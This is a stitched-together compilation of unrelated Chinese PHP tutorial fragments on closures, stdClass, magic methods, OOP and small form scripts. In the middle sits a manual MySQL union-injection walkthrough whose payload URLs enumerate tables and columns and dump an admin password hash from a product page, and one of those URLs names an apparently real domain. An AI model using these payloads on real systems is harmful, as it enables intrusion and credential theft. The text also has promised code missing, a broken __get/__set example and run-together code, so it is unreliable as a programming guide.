PHP自5.3版本开始就可以支持匿名函数(Anonymous functions)了,也成为闭包函数(closures),闭包函数允许临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值。闭包函数都是是通过 Closure 类来实现的。
举一个闭包函数的栗子
闭包函数也可以赋值给变量来使用,PHP 会自动把此种表达式转换成内置类 Closure 的对象。把一个 closure 对象赋值给一个变量的方式与普通变量赋值的语法一样,最后要加上分号结束这段语句,举一个闭包函数变量赋值的栗子
除此之外闭包函数还可以从父作用域继承变量,任何这类变量都应该用 use 语言结构传递进去。 PHP 7.1 起,不能传入superglobals、 $this 或者和参数重名的变量。经常写js的同学应该知道js的闭包特性,简单的说就是在一个函数里可以定义子函数,父函数中的变量在子函数中可以直接使用,PHP的闭包有一点区别
function func1($a){ return function() use ($a){ echo $a; }; } $a = func1("a"); $a();//输出a
下面是javascript闭包以及它的作用和应用场景
PHP闭包函数(匿名函数)的简介和例子以及与JS的对比
https://www.qwzyj.com/thread-161-1-1.html (出处: 全网资源菌)
MySQL是一个关系型数据库管理系统,PHP+MySQL组合的网站可以说占了互联网很大一部份,虽然说很多人可能也用过一些SQL注入工具测试过,例如:Sqlmap。
但是,如果不了解Mysql手工注入及其原理,你就像永远长不大的孩子一样。
一、数据库结构
Msyql数据库和我们前面讲的ACCESS还是有所不同的。两者具体区别如下:
Mysql数据库结构如下:
mysql数据库 -> A数据库 -> 表名 -> 列名 -> 数据
mysql数据库 -> B数据库 -> 表名 -> 列名 -> 数据
Access数据库结构如下:
access数据库 -> 表名 -> 列名 -> 数据
二、Mysql注入实战
由于数据库结构的不同,因此,Mysql注入手法也就有所不同;我们以下面这个网址来做实战:
www.xxxxx.com/product_show.php?id=21
1、判断是否存在注入?and 1=1 和 and 1=2 或 单引号;
www.xxxxx.com/product_show.php?id=21 and 1=1 (返回正常)
www.xxxxx.com/product_show.php?id=21 and 1=2 (返回错误)
www.xxxxx.com/product_show.php?id=21' (返回错误)
从这里可以得到一个结果:存在注入。
2、查询当前页面连接的列名个数: order by
www.xxxxx.com/product_show.php?id=21 order by 1 (返回正常)
www.xxxxx.com/product_show.php?id=21 order by 10 (返回正常)
www.xxxxx.com/product_show.php?id=21 order by 30 (返回错误)
www.xxxxx.com/product_show.php?id=21 order by 28 (返回错误)
www.xxxxx.com/product_show.php?id=21 order by 27 (返回正常)
从这里可以得到,当前页面对应表的列名个数是27;
3、爆出显位:union
这里爆显位可用联合查询来实现,我们可以用一个火狐或谷歌浏览器有一款hackbar插件,可以帮我们解决手工注入问题。
http://www.xxxxx.com/product_show.php?id=21 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
没有报错。
由于上面没有报错,因此显位爆露不出来,我们让它报错,如下:
http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
可算报错了,得到了显位2、4和显位6;
4、查询参数:主要查数据库名;
User() 查询当前数据库用户
Version() 查询当前数据库版本
Database() 查询当前页面所连接的数据库名称
@@Version_compile_os 查询服务器的系统版本
http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT1,User(),3,Version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27http://www.wfiaser.com/product_show.php?id=-21UNIONSELECT1,Database(),3,@@Version_compile_os,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
从这里可以轻松得到当前数据库用户、当数据库版本、当前页面所连接的数据库名称“sq_wqyh150528”等。
5、查表名:
Mysql数据库中有一个 information_schema 数据库,里面存放了mysql 下所有数据库中的列名和表名信息。就不用像Access数据库那样去猜,有时候还猜不到。
http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27from information_schema.tableswhere table_schema=sq_wqyh150528
注意:这里需要把数据库名称“sq_wqyh150528”做一个16进制编码。可以用小葵多功能转换工具;
http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27from information_schema.tableswhere table_schema=73715F77717968313530353238
从这里,可以得到“sq_wqyh150528”数据库里面有很多张表,例如:admin,articles,config_navs,contact等等表。
6、查列名:
http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27from information_schema.columnswhere table_name=admin
注意,这里的表“admin"也要做一个16进制编码,我这就不转了,为了让大家看清楚。
在这里,我们可以得到以下列名,例如:id,name,adminpass,groupid,content等其它列名。
7、查数据:
mysql查数据有点类似于access的联合查询法查数据。
http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT1,name,3,adminpass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27fromadmin
得到了:
用户名:admin
密码:17433b011807e2db950737747752349
很明显,密码是加密过的,然后需要破解,例如:md5破解;
实例属性和静态属性
class 类名{
var $属性名1 = 值1; //定义实例属性,有初值
var $属性名2 ; //定义实例属性,无初值;
static $属性名3 = 值3; //定义静态属性,有初值
static $属性名4 ; //定义静态属性,无初值;
//其实,是静态属性,是在属性名前面加上“static”关键字
}
实例属性:
它是“隶属于”对象的属性;
每new(实例化)一个对象,则该对象上就具有了该实例属性。
使用形式:
$对象->实例属性名;
可见,实例属性,是通过对象来使用它;
静态属性:
它是“隶属于”该类本身——而不隶属于对象。
即使new很多个对象,也只有一个该属性——即只能保存一份数据;
使用形式:
类名::$静态属性名;
可见:静态属性,是通过类来使用它;
实例方法和静态方法
实例方法:
定义形式:
function 方法名(形参1,形参2,...) { ..... }
使用形式:
$对象->方法名(实参1,实参2,....);
实例方法也是“隶属于”对象;
不过,因为方法不是“容器”,不是“数据”,而是一段可执行的代码;
注意:多个不同的对象,调用一个共同的方法,也只是调用而已,并不像实例属性一样,区分“你的”还是“我的”
静态方法:
定义形式:
static function 方法名(形参1,形参2,...) { ..... }
使用形式:
类名::方法名(实参1,实参2,....);
静态方法也是“隶属于”类;
引言
我们已经习惯在框架里编写类库接口,使用面向对象的方式构建规模以上的应用程序。但是还有很多机会,时时刻刻与PHP数组打交道。
PHP版本迭代并加入的对象操作特性非常丰富。今天我们来说一说最基础的PHP空对象,怎么使用,以及注意事项。
学习时间
如果是数组,我们可能这样存储数据:
$aVal = array(); $aVal[key1][var1] = "something"; $aVal[key1][var2] = "something else";
那么有没有办法像下面这样操作数据呢?
(object)$oVal = ""; $oVal->key1->var1 = "something"; $oVal->key1->var2 = "something else";
当然了,这个是伪代码。PHP中自带了 stdClass 对象,声明空对象使用下面的方法:
$x = new stdClass();
stdClass是默认的PHP对象。stdClass没有属性,方法或父级。它不支持魔术方法,并且不实现任何接口。
当将标量或数组转换为Object时,将获得stdClass的实例。只要需要通用对象实例,就可以使用stdClass。
创建 stdClass 的示例,可以使用下面的任意方式:
$x = new stdClass; $y = (object) null; // 同上 $z = (object) 'a'; // 创建属性 'scalar' = 'a' $a = (object) array('property1' => 1, 'property2' => 'b');
你需要格外注意:
stdClass不是基类! PHP类不会自动从任何类继承。 所有类都是独立的,除非它们显式扩展了另一个类。 在这方面,PHP与许多面向对象的语言不同。
你无法在代码中定义名为“ stdClass”的类。 该名称已被系统使用。 你可以定义一个名为“Object”的类。也可以定义一个扩展stdClass的类,但不会获得任何好处,因为stdClass不执行任何操作。
再举一个例子:
class CTest {public $property1; } $t = new CTest; var_dump($t instanceof stdClass); // falsevar_dump(is_subclass_of($t, 'stdClass')); // false echo get_class($t) . "\n"; // 'CTest' echo get_parent_class($t) . "\n"; // false (no parent)
注意,PHP的类是独立存在的,上面的 CTest 类也绝不是继承自 stdClass 对象。
写在最后
通过本文,你应该收获一个重要的概念,那就是,PHP 的类除非手动严格指定继承类,否则都是独立存在的。
同时,PHP 提供了标准的 stdClass 对象用于构建空对象。操作数据时可以不用像数组那样了。但是,抛开数组,你讲很大程序上享受不到PHP带来的数据操作便利。
Happy coding :_)
我是 @程序员小助手 ,持续分享编程知识,欢迎关注。
php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用。即所谓的魔法函数。
魔术函数
1。__construct()
实例化对象时被调用, 当__construct和以类名为函数名的函数同时存在时,__construct将被调用,另一个不被调用。
2。__destruct() 当删除一个对象或对象操作终止时被调用。
3。__call() 对象调用某个方法, 若方法存在,则直接调用; 若不存在,则会去调用__call函数。
4。__get() 读取一个对象的属性时, 若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。
5。__set() 设置一个对象的属性时, 若属性存在,则直接赋值; 若不存在,则会调用__set函数。
面向对象编程中使用频率很高的两个方法.当设置和获取对象的属性不允许访问时性,此方法会被调用。一定注意是不存在或不允许被读写时才会被调用。
因此对于一个对象,其属性不确定时,用这两个方法效果很好。
__get($name) 获取对象不存在的属性或无法访问的属性时调用.$name表示要获取的属性名
__set($name, $value) 设置对象不存在的属性或无法访问的属性时调用.$name表示要设置的属性名,$value表示要设置的值.
//例如:我们可以构建一个不确定属性的数据记录类
class Record {
protected $_data;
public function __get($name)
{
if (isset($this->_data[$name])) {
return $this->_data;
}
return false;
}
public function __set($name, $value)
{
$this->_data = $value;
}
}
$record = new Record();
$record->name = 'andrew';
echo 'My name is '.$record->name.PHP_EOL;
这两个方法用得比较少些。当调用方法isset()判断对象是否存在某属性, 调用unset()注销某属性时。且当这些属性不存在或不可访问时,会分别调用__isset()和__unset()方法
与前面的__get()和__set()略同。都是某属性不存在或不可访问时被调用
__isset($name) 当调用方法isset()方法判断不可访问的类属性时调用.$name表示属性名.
__unset($name) 当调用方法unset()方法删除不可访问的类属性时调用.$name表示属性名.
6。__toString() 打印一个对象的时被调用。如echo $obj;或print $obj;
classInfo{
publicfunction__toString()
{
return"info";
}
}
$info = new Info();
echo $info.PHP_EOL;
7。__clone() 克隆对象时被调用。如:$t=new Test();$t1=clone $t;
8。__sleep() serialize之前被调用。若对象比较大,想删减一点东东再序列化,可考虑一下此函数。
9。__wakeup() unserialize时被调用,做些对象的初始化工作。
__sleep() 和 __wakeup()
这两个方法,咋一看,就是睡觉和唤醒嘛。那跟对象有什么关系?有时候该用的时候也想不起来。其实,我们简单点记,在php中有一个让对象睡觉的方法,叫searialize(),
它会将对象的各属性序列化以方便保存起来。而unsearialize()方法是将保存的序列化的数据解开变成对象。也叫唤醒。相对应的,当睡觉时,php会调用__sleep()方法,它
的返回值必须是一个数组,表示需要保存的属性项, 对于文件句柄,数据库连接等资源类型的数据是不能被序列化保存的。同理唤醒对象时,php会调用__wakeup()方法,
但与__sleep()不同的是,它返回值为空。被保存的属性都会被解开。那它有什么用呢?刚我们说了,searialize是不能保存资源的。那么唤醒时如果我们想用到这些资源怎么
办?回答很肯定,重新创建?那在哪里创建合适呢?当然是__wakeup()方法里面,因为每次唤醒时都会调用此方法嘛。这下我们很清楚这两个方法的用途了。
__sleep() 当调用searialize()方法时调用,返回值为数组,表示需要序列化的数据项.
__wakeup() 当调用unsearizlie()方法时调用。一般用来在唤醒时初始化资源对象.
//例如我们有一个用户类,用户名和性别都是类属性。用户的密码存在文件中
Class User {
public $username;
public $sex;
public $passFile;
private $_password;
public function __construct($username, $sex, $passFile)
{
$this->username = $username;
$this->sex = $sex;
$this->passFile = $passFile;
$this->_password = file_get_contents($passFile);
}
public function getPassword()
{
return $this->_password;
}
public function __sleep()
{
return array(
'username', 'sex', 'passFile',
);
}
public function __wakeup()
{
$this->_password = file_get_contents($this->passFile);
}
}
$user = new User('andrew', 'male', 'pass.data');
$serializeData = serialize($user);
echo $serializeData.PHP_EOL;
$user = unserialize($serializeData);
echo $user->getPassword().PHP_EOL;
10。__isset() 检测一个对象的属性是否存在时被调用。如:isset($c->name)。
11。__unset() unset一个对象的属性时被调用。如:unset($c->name)。
12。__set_state() 调用var_export时,被调用。用__set_state的返回值做为var_export的返回值。
13。__autoload() 实例化一个对象时,如果对应的类不存在,则该方法被调用。
魔术常量
1。__LINE__ 返回文件中的当前行号。
2。__FILE__ 返回文件的完整路径和文件名。如果用在包含文件中,则返回包含文件名。自 PHP 4.0.2 起,__FILE__ 总是包含一个绝对路径,而在此之前的版本有时会包含一个相对路径。
3。__FUNCTION__ 返回函数名称(PHP 4.3.0 新加)。自 PHP 5 起本常量返回该函数被定义时的名字(区分大小写)。在 PHP 4 中该值总是小写字母的。
4。__CLASS__ 返回类的名称(PHP 4.3.0 新加)。自 PHP 5 起本常量返回该类被定义时的名字(区分大小写)。在 PHP 4 中该值总是小写字母的。
5。__METHOD__ 返回类的方法名(PHP 5.0.0 新加)。返回该方法被定义时的名字(区分大小写)。
在日常我们经常见到,类似日期(生日、时间提醒等)提醒的程序随处可见,主要是因为这样的程序有一定的定时效果。那么在PHP中怎么实现类似生日提醒的小功能呢?今天为大家详细讲解一下。
实现过程
1、准备一张生日祝福的图片。
2、创建php脚本文件。
3、设置员工的生日。
4、把当前日期和员工生日进行比较。
5、如果当前日期和员工生日一致则系统给出提示,并发出生日祝福!
代码如下:
程序运行结果如下:
PHP知识点总结
1、if语句
if语句在PHPweb开发中常用到的语言结构,它主要是用来判定给定的值是否满足条件,根据条件是否满足再决定执行什么操作。本例中的if用来判断当前日期是否与原来设定的值是否一致,如果一致输入生日提醒,如果不符合不执行任何操作。
2、数组
数组是PHP基本的数据类型,应用广泛功能强大,它可以储存多个任意类型的数据,可以作为一个单元使用。我们可以把数组看成由很多隔层的盒子,每一层都可以存放一个值。本例中的数组是直接用
array()函数声明的一维数组,把员工的名字和每个人对应生日日期都存储在数组$staff中,它的键是“小张”、“小李”、“小刘”,对应键值是“08月12日”、“06月3日”、“08月3日”。
3、foreach()语句
foreach()语句用于遍历数组,如果尝试用其它数据类型或者一个未初始化的变量时会产生错误。它的语法格式是foreach(array_expression as $value)statement;,参数array表示要遍历的数组,expression表示键,$value表示键值的对应值,statement表示语句块,本例中用foreach遍历数组$staff。
4、date()函数
date()函数是直接从PHP脚本获取服务器上的日期和时间。可以使用date()函数通过不同的方式格式化日期,date 函数受到 php.ini 中设置影响。本例中是使用date()函数获取年和月再和之前设置的日期进行比较,再根据结果决定下一步操作。date函数常参数如下图:
关于PHP时间日期定期提醒先聊到这,每天学习一个知识点,每日寄语-“ 决不能放弃,世界上没有失败,只有放弃。”
有时候用户在网站上发布内容或者留言时,系统提示使用了禁止词语禁止发布。为了避免用户在网站上发布违规违法内容,网站开发人员为了规范网站内容采取了过滤字符串的手段,今天为大家讲解一下自定义函数过滤字符串。
实现过程
1、制作用户评论文本框和评论提交按钮。
1、创建php文件。
2、定义具有过滤功能的验证函数,设定过滤规则。
3、调用函数去判断用户提交内容是否符合规则。
代码如下:
PHP编程实例:简单的自定义函数过滤字符串功能实现!
PHP知识点总结:
1、form标签的action属性
form标签的action属性表示向何处提交表单数据,当action为空时表示数据提交还是这个页面本身。
2、php自定义函数
我们把内容过滤(过滤字符串功能)功能语句都写到函数里方便后续的调用。函数是可以实现特定功能的代码块(程序),大部分编程语言都有这个概念,函数可以更好实现模块功能。函数可以分为父函数和子函数,他们之前可以相互调用。上面代码中我们声明了一个str函数,它具有过滤特定内容(过滤字符串)的功能。
3、数组和php系统函数
这个实例中我们先把我们要过滤的内容(版权、出版、图书、影像)声明成数组$array,再用implode()函数把数组转换成字符串$repstr。数组是不能直接操作的,我们需要把数组转换成字符串再进一步处理。
4、if语句、preg_match() 函数和正则表达式
if语句作用是根据不同的条件执行不同的动作,如果用户输入内容出现了禁止内容提示“使用了系统禁止词语,重新填写”页面重新定位到index.php。如果用户输入内容不包括禁止内容则输出提交成功并输出用户提交内容。
preg_match() 函数是处理正则表达式匹配,成功返回 1 ,否则返回 0。“/$str/”是一个简单的正则表达式表示匹配函数的参数即用户输入内容,preg_match("/$str/",$repstr)意思用户输入内容($str)和设定禁止的内容($repstr)进行匹配,如果匹配成功返回1,if执行为真的内容。如果匹配不成功,返回0,则if执行else内容。
5、empty()函数
为了避免出现非预期的效果,这是使用是empty()函数判断$_POST['sub'](提交的内容)传递参数是否存在。
上面实例只是简单介绍了字符串过滤的原理,如果要运用的话需要把过滤数据存储在数据库中,而不是一个简单的数组。
代码运行结果如下图:
关于自定义函数过滤字符串功能先聊到这,每天学习一个知识点,每日寄语-“滴水穿石,不是力量大,而是功夫深。”
PHP面向对象
前言
学习PHP的小朋友们都知道,PHP在中小型企业的应用是非常广泛包括建站、小程序、CRM与OA等,那么作为基础中的基础,PHP面向对象你又掌握了多少呢?在这将就这个问题做一个详细的讲解。
正文
一、定义类 使用关键字class定义
二、实例化对象 使用关键字new实例化对象
三、类成员的添加和访问 (1)类成员:属性、方法、常量 (2)添加成员需要使用修饰符 public、protected、private (3)修饰符的作用范围 public 类内类外子类 protected 类内子类 private 类内 (4)添加方法:如果方法前不带修饰符,默认带public; (5)添加常量:const 常量名; 访问常量:类名::常量名; ::范围解析操作符
四、类内部对象$this和内存原理
$this是一个对象,指向实例化对象。当我们new实例化的时候,系统会给这个对象分配一个内存空间,内存空间分为栈内存和堆内存,将变量存在栈里,代码块存在堆里,然后堆的内存地址指向栈里的变量,如果再给栈中的变量赋值引用数据类型,内存地址就会被改变。
五、如果$a和$p指向同一个内存地址,它们是同一个对象,则改变一个则两个都会变
需要用克隆解决这个问题 关键字clone;通过clone来复制一个一模一样的对象,这样它们就不是同一个对象了;
六、构造函数和析构函数
(1)构造函数:我们在声明类的时候就存在这个函数,用new实例化时,函数自动调用。public function __construct(){};(2)析构函数:用于释放new实例化的内存空间,如果不销毁,会增加系统性能负荷;new实例化时,系统会自动调用;销毁原则:先人后出。
七、静态成员
静态成员的添加:在成员属性或方法前加关键字 static; 静态成员的访问: 内部使用:self::$变量;或 类名::$变量; 外部使用: 类名::$变量;
八、面向对象的三大特征
(1)封装:对外只提供可操作的方法,不会告诉你内部结构;(2)继承 子类可以继承父类的属性和方法,但是是有限继承,public、protected、private三个修饰的属性都可以继承,public、protected两个修饰的方法可以继承,父类的常量可以继承;(3)多态:php没有多态。重载:当子类跟父类有个相同的方法时,子类的方法会覆盖父类的方法。
九、关键字:parent
在继承中的子类有parent,可以访问父类的常量、方法、父类的静态属性,属性成员不能访问;访问方式: parent::$静态属性、fn()、常量。
十、final 不可重载的
(1)写在类前面 不许类被继承;(2)写在方法和属性前 子类不能重载父类的方法。
十一、抽象类 abstract
(1)抽象类不能被实例化;(2)如果一个类里面有一个方法被声明为抽象类,这个类就得申明抽象类;(3)只要这个方法被声明为抽象方法了,就不能写函数体,将函数后面的{}去掉,函数体由子类实现;(4)在继承一个抽象类的时候,子类必须定义父类。
结尾
通过本文的讲解各位对于PHP面向对象是不是有了一个基本的了解,想要熟练掌握还需要你们平时多下苦工与多多的联系。
加密和解密一般用于电子商务,但是一般的网站开发中也会用涉及到到加密和解密,特别是文件处理上,今天为大家讲解一个自定义函数简单的数字加密/解密算法实例。
实现过程
1、制作form表单提交框一个文本输入框和一个提交按钮。
2、创建php脚本文件。
3、定义加密数字和解密数字的函数。
4、调用自定义函数处理用户输入的数据,输出加密数字和解密数字。
代码如下:
php知识总结:
1、form表单
form标签的action属性表示向何处提交表单数据,当action为空时表示数据提交还是这个页面本身。
2、$_POST预定义数组
$_POST在PHP中是预定义数组,它属于外部变量.它的作用收集用户通过表单提交数据,$_POST收集的数据可以赋给变量再进一步处理,上面代码就是把$_POST赋给变量作为自定义函数的参数。
3、自定义函数
把加密和解密的php功能语句,都写到特定的程序块中,这个程序块就是自定义的函数。在本例中我们声明一个函数A,他具有加密数字的功能。声明一个函数B,它具有解密功能的功能。函数A和函数B都有一个共同的参数$str。声明函数目的是为了避免在程序中出现功能相同的代码,提高效果。
4、session
session在PHP中的作用是暂时把用户信息(比如说用户名)存储在服务器上,过一段时间就会被删除。如果想把数据长期存储可以把数据存在数据库中。上面代码中是加密后的结果保存在session中,然后session在作为解密函数的参数再继续执行。
5、isset()函数
isset()函数是为了确定变量是否存在,它经常和if语句一块使用。上面代码中是判断地址栏pwd是否存在,存在则执行下面的语句。
程序执行结果
关于“自定义函数简单的数字加密/解密算法实例”先聊到这,有兴趣可以自己动手实践一下,每天学习一个知识点,每日寄语-“积德为产业,强胜于美宅良田。”
运行效果
上代码
<!DOCTYPE html><html><head><meta charset="UTF-8"><title>评价学生成绩</title></head><body>在一个form表单中输入一个分数(0-100之间),程序可以给该分数进行“评语”,<br>评语包括:优秀,良好,中等,及格,不合格。 <form action="" method="post"><input type="text" name="result" placeholder="请输入您的成绩"> <input type="submit" value="评价"></form><?php $cj = "";if (!empty($_POST['result'])) {//判断字段是不为空$cj = $_POST['result'];//获取POST字段if (is_numeric($cj)) {//判断字段是否为数字类型$cj2 = (float)$cj;//将字段强制转换为浮点型// echo $cj2.'<br>';// echo $cj;if ($cj2 == $cj) {//两次变量是否相等,相等则执行内if,否则执行本身esleif ($cj >= 90) {echo "您输入的成绩为{$cj},判定为:成绩优秀!";} elseif ($cj >= 80 && $cj <= 90) {echo "您输入的成绩为{$cj},判定为:成绩良好!";} elseif ($cj >= 70 && $cj <= 79) {echo "您输入的成绩为{$cj},判定为:成绩中等!";} elseif ($cj >= 60 && $cj <= 69) {echo "您输入的成绩为{$cj},判定为:成绩及格!";} else {echo "您输入的成绩为{$cj},判定为:成绩不合格!";}}} else {//若字段不为数字类型echo '<font color="red" class=" ">请输入正确的成绩,如:90.5</font>';}} else {//若字段为空echo '<font color="red" class=" ">请不要留空!请输入正确的成绩,如:90.5</font>';}?></body></html>提示
若上面代码影响阅读,自行百度"PHP代码格式化"进行格式化.